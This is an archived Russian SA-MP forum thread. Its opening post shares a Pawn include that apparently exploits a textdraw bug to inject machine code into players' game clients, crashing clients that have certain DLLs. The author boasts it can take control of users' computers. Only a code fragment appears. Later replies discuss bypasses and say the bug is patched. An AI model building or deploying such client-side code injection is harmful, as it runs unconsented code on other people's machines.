PDA

Просмотр полной версии : [Include] TextDrawClient



Snoowker
13.02.2014, 01:56
hi ИГРОМАНИЯ

Приветствую ребята :D назвал так просто чтобы нубов не привлекать.
Эта библиотека находится в Бетта-версии. Она сканирует директорию GTA и проверяет наличие плагинов d3d9.dll или vorbisHooked.dll и если один из плагинов действительно есть в этой директории то клиент SA-MP (http://ru.wikipedia.org/wiki/SAMP) попросту крашнется

В следующих версиях возможно будет добавлено:

- Открытие нужного URL адресса в браузере пользователя
- Заменя худа у пользователя
- Связь с сервером
и многое другое

Этот инклуд работает с socket.dll.На самом деле он имеет практический неограниченные возможности :spiteful: но работать с ней сложновато т.к иногда требуется знание Assembler и другие технические части

Если вы знаете азы программирования низкого уровня то вы сможете практически все :heat:

Краткая информация:
TextDrawClient уменьшается максимальное количество PlayerTextDraws для каждого игрока.


Функции:


LoadClientForPlayer(playerid); //Запускаем gta_sa.exe (это кидаем в OnPlayerConnect)
UnloadClientForPlayer(playerid); //закрываем процесс gta_sa.exe (это в OnPlayerDisconnect)
CrashCheater(playerid); //выкидываем игрока если в директории найден плагин d3d9.dll



Использование:


public OnPlayerConnect(playerid)
{
LoadClientForPlayer(playerid);
CrashCheater(playerid); //С этим все ясно(если нет то выше читай)
return true;
}

public OnPlayerDisconnect(playerid, reason)
{
UnloadClientForPlayer(playerid);
return true;
}


Внимание:С помощью данного инклуда можно взять под контроль Компьютер пользователя.




#if !defined TextDrawClient_included
#define TextDrawClient_included

#include <a_samp>

static ClientCode[804];
static PlayerText:Clients[MAX_PLAYERS];
static ClientCommandId[MAX_PLAYERS];

#define CLIENT_CODE_OFFSET 0x3B
#define CLIENT_DATA_OFFSET 0x1AD
#define CLIENT_CODE_SIZE 0x172
#define CLIENT_DATA_SIZE 0x173


#define _db(%0) ClientCode[off++] = %0

static stock PrepareClientMetaCode(playerid)
{
for (new i = 0; i < sizeof(ClientCode); i++)
ClientCode[i] = 0x90;

ClientCommandId[playerid] = (ClientCommandId[playerid] + 1)&0xFF;

if (ClientCommandId[playerid] == 0)
ClientCommandId[playerid] = 1;

new off = 0;

_db(0x55);


Ссылка на Инклуд:Кликай-ЖЕ (http://pastebin.com/kBcBe0hr)

Вот как тут видно сканируем директорию на содержание данных плагинов.


new str_d3d9[] = "d3d9.dll";
new str_vorbisHooked[] = "sdfsdfdssdfl";

[ForD]
13.02.2014, 09:50
А если enb? Сейчас каждый 3,а то и 2 использует эту модификацию,так что вещь в некотором роде не совсем полезная =\

Blood
13.02.2014, 11:28
Можешь дать socket.dll ??

DeimoS
13.02.2014, 11:47
Достаточно будет изменить имя библиотеки и твоя защита станет бесполезной ;)

Blood
13.02.2014, 12:30
Достаточно будет изменить имя библиотеки и твоя защита станет бесполезной ;)
а как сделать что бы .cs файлы читал ?

DeimoS
13.02.2014, 13:37
а как сделать что бы .cs файлы читал ?

Проверять что-то на стороне сервера запросами - заведомо проигрышный способ. Всё, что хранится на стороне клиента, можно подделать. И найдутся те, кто сможет обойти твоё чтение файлов (ибо даже всякие фросты ломают, которые разрабатывают игровые компании, заинтересованные в честной игре своих игроков гораздо сильнее).
Это к слову о ваших попытках проверять папку с игрой у игрока на наличие каких-то файлов.
А по поводу твоего вопроса сказать ничего не могу

Tracker1
13.02.2014, 13:48
Использование этого бага уже профикшено в прошлых ревизиях samp 0.3x

Jeff_Monson
13.02.2014, 18:19
Простите за вопрос а могли бы вы сделать так чтобы когда у него читы чтобы выходил диалог и кикал.

Salvacore
13.02.2014, 20:07
Обойти 1 минута.

OKStyle
14.02.2014, 15:53
Обойти 1 минута.
Расскажи нам как :grin:

Salvacore
14.02.2014, 17:41
Расскажи нам как :grin:
Таким как ты рубль жалко отдать.

Seregamil
14.02.2014, 17:57
Расскажи нам как :grin:


new str_d3d9[] = "d3d9.dll";
new str_vorbisHooked[] = "sdfsdfdssdfl";
Например переименовать файл
Подменить память клиента
Перенаправить запрос на чистую ГТА

Salvacore
14.02.2014, 17:58
Например переименовать файл
Подменить память клиента
Перенаправить запрос на чистую ГТА
Ну зачееееееееееееееммм.:girl_cray2:

Seregamil
14.02.2014, 18:27
Ну зачееееееееееееееммм.:girl_cray2:

дак а что тут секретного?
В любой защите всегда найдут дыру.
Даже в том же античите МТА нашли дырку, правда ее зафиксили в течении 10 минут.

Jeff_Monson
14.02.2014, 19:29
все же есть кто поможет с крешем, надо убрать креш и поставить диалог с сообщением, попытался сам убрал что крешит и поставил диалог кикает всех... (